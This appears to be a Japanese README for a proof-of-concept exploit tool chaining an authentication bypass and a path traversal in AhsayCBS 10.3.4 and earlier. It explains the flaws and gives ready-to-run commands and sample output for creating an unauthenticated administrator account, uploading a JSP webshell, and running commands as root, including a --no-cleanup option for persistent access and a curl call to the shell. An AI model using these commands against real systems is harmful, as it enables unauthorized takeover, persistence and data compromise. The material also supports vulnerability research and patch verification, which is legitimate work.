CVE-2026-105133 および CVE-2026-105134 に影響する AhsayCBS の概念実証エクスプロイト
CVE-2026-105133 + CVE-2026-105134 — AhsayCBS ≤10.3.4 における未認証のリモートコード実行
根本原因、悪用方法、侵害指標を網羅した技術分析は、Horizon3.ai の攻撃リサーチブログで公開されています:
AhsayCBS バージョン 10.3.4 以前は、JSON API およびレプリケーションレシーバーモジュールにおける 2 つの連鎖した認証バイパスおよびパストラバーサルの脆弱性を通じて、未認証のリモートコード実行に対して脆弱です。攻撃者は認証情報なしで完全な管理者権限の掌握または直接的な RCE を達成できます。
com.ahsay.obs.api.json.JSONApi.execute() メソッドは、JSON リクエストボディに {"FromServlet":"Y"} が含まれている場合、checkSysPwd() の認証情報検証をスキップします。これにより、未認証の攻撃者が認証情報なしで全ての JSON API アクションを呼び出すことが可能になります。
影響: 機密性の高い操作への未認証 JSON API アクセス。
レプリケーションレシーバーのファイルアップロードエンドポイント(PUT /rps/obs7/rpsfile/upload)は、攻撃者が制御する UserHome および TopDir ヘッダーから getReplicatedPath() を介して書き込みパスを構築する際、com.ahsay.c のパス拒否リストを適用しません。攻撃者は Tomcat の Web 配信ディレクトリ(../../webapps/)にトラバースして、実行可能な JSP ファイルをアップロードできます。
認証バイパスを利用して新しいシステム管理者アカウントを作成します。ライセンスやレプリケーション設定に関係なく、あらゆる AhsayCBS インストールで機能します。
python3 ahsay_rce_poc.py --url https://target.example.com
出力:
AhsayCBS <=10.3.4 unauthenticated takeover (CVE-2026-105133 + CVE-2026-105134)
[*] Target: https://target.example.com
[*] Checking authentication bypass (CVE-2026-105133)...
[+] Target is VULNERABLE: auth check is skipped with FromServlet=Y
[*] Creating ADMIN account 'svc_abcdef' via AddSysUser (unauthenticated)...
[+] Created system user 'svc_abcdef' (Role=ADMIN)
[+] Confirmed: the account authenticates as a functional ADMIN
[+] Admin credentials
Console : https://target.example.com/cbs/
Username: svc_abcdef
Password: TK$#m9q@2pL!xR4vN
Role : ADMIN
[*] Cleaning up...
[+] Removed admin account 'svc_abcdef'
[+] Done.
レプリケーションレシーバーのパストラバーサルを利用して、認証済みウェブシェルをアップロードします。ターゲットがライセンスを取得し、レプリケーションレシーバーとして設定されている必要があります。サービスアカウントとしてRCEを達成します。
python3 ahsay_rce_poc.py --url https://target.example.com --replication --cmd id
出力:
AhsayCBS <=10.3.4 unauthenticated takeover (CVE-2026-105133 + CVE-2026-105134)
[*] Target: https://target.example.com
[*] Checking authentication bypass (CVE-2026-105133)...
[+] Target is VULNERABLE: auth check is skipped with FromServlet=Y
[+] Created replication receiver 'rqxmouq' (SystemHome=/opt/AhsayCBS/rpsrecv_ggsrer)
[+] Uploaded webshell -> /rps/status_vomejx.jsp (auth-gated)
[*] Webshell: https://target.example.com/rps/status_vomejx.jsp?auth=d9facce9a7e9535aab16270e36bf7527
[+] Remote code execution confirmed:
uid=0(root) gid=0(root) groups=0(root)
[*] Running: id
uid=0(root) gid=0(root) groups=0(root)
[*] Cleaning up...
[+] Removed webshell /rps/status_vomejx.jsp
[+] Removed receiver 'rqxmouq' (Id=2)
[+] Done.
pip install requests
変更を加えずに対象が脆弱かどうかをテストします:
python3 ahsay_rce_poc.py --url https://target.example.com --check
新しい管理者アカウントを作成します:
# Auto-generated credentials (default)
python3 ahsay_rce_poc.py --url https://target.example.com
# Custom username and password
python3 ahsay_rce_poc.py --url https://target.example.com \
--admin-user admin_user \
--admin-pass 'P@ssw0rd123'
# Custom role (default: ADMIN)
python3 ahsay_rce_poc.py --url https://target.example.com --role OPERATOR
一時的なwebshellを介してコマンドを実行します:
# Execute 'id' command
python3 ahsay_rce_poc.py --url https://target.example.com --replication --cmd id
# Interactive webshell (use --no-cleanup to keep the shell)
python3 ahsay_rce_poc.py --url https://target.example.com --replication \
--no-cleanup \
--secret mysecret123 \
--shell-name cmd.jsp
# Then access via:
# curl 'https://target.example.com/rps/cmd.jsp?auth=mysecret123&cmd=whoami'
General:
-u, --url URL Target base URL (required)
-t, --timeout SECONDS HTTP timeout (default: 30)
-k, --insecure Ignore TLS cert errors (default: on)
--check Detect vulnerability without exploitation
--no-cleanup Leave artifacts in place for further access
Admin Takeover:
--admin-user USER Username to create (default: random)
--admin-pass PASS Password to set (default: random strong)
--role ROLE User role: ADMIN, OPERATOR, etc. (default: ADMIN)
Replication RCE:
--replication Use replication RCE mode (requires licensed receiver)
-c, --cmd COMMAND Command to execute
-r, --install-root PATH AhsayCBS install directory (default: /opt/AhsayCBS)
-w, --webapp NAME Web app to upload JSP into (default: rps)
--secret HEX Webshell auth secret (default: random)
--shell-name NAME Webshell filename (default: random)
「このソフトウェアは純粋に学術研究および効果的な防御技術の開発を目的として作成されたものであり、明示的に許可された場合を除き、システムを攻撃するために使用されることを意図していません。」プロジェクトのメンテナーは、誤用に対する一切の責任を負いません。責任を持って使用してください。